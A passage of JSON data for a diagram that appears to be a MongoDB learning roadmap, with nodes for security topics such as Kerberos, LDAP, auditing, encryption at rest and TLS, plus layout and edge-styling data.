\"YuzMOO7kf2tO6V6WehqF_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.5558189033463,\n        \"y\": 1972.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Kerberos Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5F7zAAnvnVTTnBzOB7TSu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.5558189033463,\n        \"y\": 1972.5903301866163\n      }\n    },\n    {\n      \"id\": \"NoDNdno9UOlMrOC0Wga9E\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.5558189033463,\n        \"y\": 2025.5903301866165\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LDAP Proxy Auth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"w1L-yFBM2AyeNBFyH5skW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.5558189033463,\n        \"y\": 2025.5903301866165\n      }\n    },\n    {\n      \"id\": \"w1L-yFBM2AyeNBFyH5skW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.5558189033463,\n        \"y\": 2078.5903301866165\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MongoDB Audit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JAosQ9tFj7y70lGQ0vHzC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.5558189033463,\n        \"y\": 2078.5903301866165\n      }\n    },\n    {\n      \"id\": \"6ep18j_y_ZCu8I1tmi48O\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 149.3618127280065,\n        \"y\": 1957.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Encryption\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 98,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 149.3618127280065,\n        \"y\": 1957.7051467174065\n      }\n    },\n    {\n      \"id\": \"iJjqlTgXxHWC-8bh6uCGQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 66.8618127280065,\n        \"y\": 2003.5903301866165\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Encryption at Rest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5F7zAAnvnVTTnBzOB7TSu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 66.8618127280065,\n        \"y\": 2003.5903301866165\n      }\n    },\n    {\n      \"id\": \"LpfuM6SuhlNNjBcHM68ee\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 66.8618127280065,\n        \"y\": 2056.5903301866165\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Queryable Encryption\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5F7zAAnvnVTTnBzOB7TSu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 66.8618127280065,\n        \"y\": 2056.5903301866165\n      }\n    },\n    {\n      \"id\": \"YJiWemHO1l5q9WhgoHyYd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 67.3618127280065,\n        \"y\": 2109.5903301866165\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Client-Side Field Level\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5F7zAAnvnVTTnBzOB7TSu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292\n      },\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 67.3618127280065,\n        \"y\": 2109.5903301866165\n      }\n    },\n    {\n      \"id\": \"5F7zAAnvnVTTnBzOB7TSu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 67.3618127280065,\n        \"y\": 2162.5903301866165\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"TLS / SSL Encryption\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"w1L-yFBM2AyeNBFyH5skW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292\n      },\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 67.3618127280065,\n        \"y\": 2162.5903301866165\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"z50iixpcCMe9sTh-gwTI3\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HU7wZWiES3m3xl1-NYP6Fx2-08qKtgnhJ3tlb5JKfTDf5w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"z50iixpcCMe9sTh-gwTI3\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tJljSlb5S_tZLZhZHHd_I\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-2rlmLn_yQQV-7DpX1qT98y2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"z50iixpcCMe9sTh-gwTI3\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-cMfsRtvzvDZZJ0TqeUOxmy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"z50iixpcCMe9sTh-gwTI3\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qh8MEbXKPVt8mqlarhUj0\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-qh8MEbXKPVt8mqlarhUj0y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"z50iixpcCMe9sTh-gwTI3\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1UXfFROvcunyhkx0zB_1S\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-1UXfFROvcunyhkx0zB_1Sy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"z50iixpcCMe9sTh-gwTI3\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1pCWjSvjvbox5OpyWJ8Kv\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-2rlmLn_yQQV-7DpX1qT98y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"z50iixpcCMe9sTh-gwTI3\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_UIfRdlj6BeEESw1FW9RH\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__z50iixpcCMe9sTh-gwTI3x2-JfXwzkN29UGz17FYHHE3Aw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_UIfRdlj6BeEESw1FW9RH\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7SGYNo3oHlgm_1cwhWfw7\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge___UIfRdlj6BeEESw1FW9RHx2-JfXwzkN29UGz17FYHHE3Aw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7SGYNo3oHlgm_1cwhWfw7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"liGbnGyQaG-Vqt6cuB91N\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-liGbnGyQaG-Vqt6cuB91Ny1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7SGYNo3oHlgm_1cwhWfw7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"iMpCEXRDXg0Kq9OFNywbI\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-iMpCEXRDXg0Kq9OFNywbIy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7SGYNo3oHlgm_1cwhWfw7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qjoLxSkfKbzG1sZUXnyw9\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-qjoLxSkfKbzG1sZUXnyw9y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7SGYNo3oHlgm_1cwhWfw7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"mXdn4u5CiQRDE83qMiWZX\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-mXdn4u5CiQRDE83qMiWZXy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7SGYNo3oHlgm_1cwhWfw7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yc2HqhjhIV6UU_2P-ykKB\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-yc2HqhjhIV6UU_2P-ykKBy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7SGYNo3oHlgm_1cwhWfw7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hC83jKoO_XFI83WpsdN_Z\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-hC83jKoO_XFI83WpsdN_Zy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7SGYNo3oHlgm_1cwhWfw7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"4h8NdcdXmNqJxLkVJqPtX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Az2-2rlmLn_yQQV-7DpX1qT98y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7SGYNo3oHlgm_1cwhWfw7\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Ff3yMMi2r0UQdPnY1QgL4\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__PuRlxMpnjEZt3E3m7Hgzwx2-Ff3yMMi2r0UQdPnY1QgL4w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ff3yMMi2r0UQdPnY1QgL4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"thOckmrCJ45NVNPNxm4eg\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__Ff3yMMi2r0UQdPnY1QgL4y2-thOckmrCJ45NVNPNxm4egz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ff3yMMi2r0UQdPnY1QgL4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"K9x7yQP59cB764Q5PqAs_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__Ff3yMMi2r0UQdPnY1QgL4y2-K9x7yQP59cB764Q5PqAs_z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ff3yMMi2r0UQdPnY1QgL4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"s8El0Q22GD_rOZGlDtkgH\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__Ff3yMMi2r0UQdPnY1QgL4y2-9mmxYBtvPYZlvFjQvE-2Nz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ff3yMMi2r0UQdPnY1QgL4\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"B8SFhoVV8ei1Yz6vl57l_\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__Ff3yMMi2r0UQdPnY1QgL4z2-LC923iJhfiUDIs_0-9rc7y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"B8SFhoVV8ei1Yz6vl57l_\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"I4nV_ht5zBjcmqPR2vTLz\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7x2-I4nV_ht5zBjcmqPR2vTLzw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ff3yMMi2r0UQdPnY1QgL4\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"A9W2LsivDc0ialLp83fYP\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__Ff3yMMi2r0UQdPnY1QgL4x2-LC923iJhfiUDIs_0-9rc7z1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"A9W2LsivDc0ialLp83fYP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gpihoIJkzSS1WOvmH2ueo\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__A9W2LsivDc0ialLp83fYPz2-LC923iJhfiUDIs_0-9rc7w1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3Ws8Y34nbhyYTD7T3HnAd\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"A9W2LsivDc0ialLp83fYP\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__3Ws8Y34nbhyYTD7T3HnAdx2-A9W2LsivDc0ialLp83fYPw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"A9W2LsivDc0ialLp83fYP\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"YidhAuVk_VGukx_FfJSz2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__A9W2LsivDc0ialLp83fYPx2-YidhAuVk_VGukx_FfJSz2w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gpihoIJkzSS1WOvmH2ueo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"eDks8Jmsbq3_nHgLydyxP\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7z2-eDks8Jmsbq3_nHgLydyxPy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gpihoIJkzSS1WOvmH2ueo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"aHcmsaqAfG5fC90VV-EHP\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__gpihoIJkzSS1WOvmH2ueox2-LC923iJhfiUDIs_0-9rc7w2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aHcmsaqAfG5fC90VV-EHP\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"6H2MMnEfS6uHGS-6pFo8u\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__aHcmsaqAfG5fC90VV-EHPx2-LC923iJhfiUDIs_0-9rc7w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6H2MMnEfS6uHGS-6pFo8u\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"cOKQQ7SaiawWF49MdCGTh\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__6H2MMnEfS6uHGS-6pFo8ux2-LC923iJhfiUDIs_0-9rc7w2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cOKQQ7SaiawWF49MdCGTh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"QrHT-H12AV4-V-y_nzmNk\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7z2-QrHT-H12AV4-V-y_nzmNky1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cOKQQ7SaiawWF49MdCGTh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CijW3HCjVRZHQIBsQ9_0H\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7z2-CijW3HCjVRZHQIBsQ9_0Hy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cOKQQ7SaiawWF49MdCGTh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"iVDxuERBjKMBHueEfqP0x\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7z2-iVDxuERBjKMBHueEfqP0xy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cOKQQ7SaiawWF49MdCGTh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"XjB0uOnsYl4edzZWpQ-nm\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7z2-XjB0uOnsYl4edzZWpQ-nmy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cOKQQ7SaiawWF49MdCGTh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"4L9UQ4oaaK3wZwOLIMa6T\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7z2-4L9UQ4oaaK3wZwOLIMa6Ty1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1HBTZGBuT2cKNmwgFkGOF\",\n 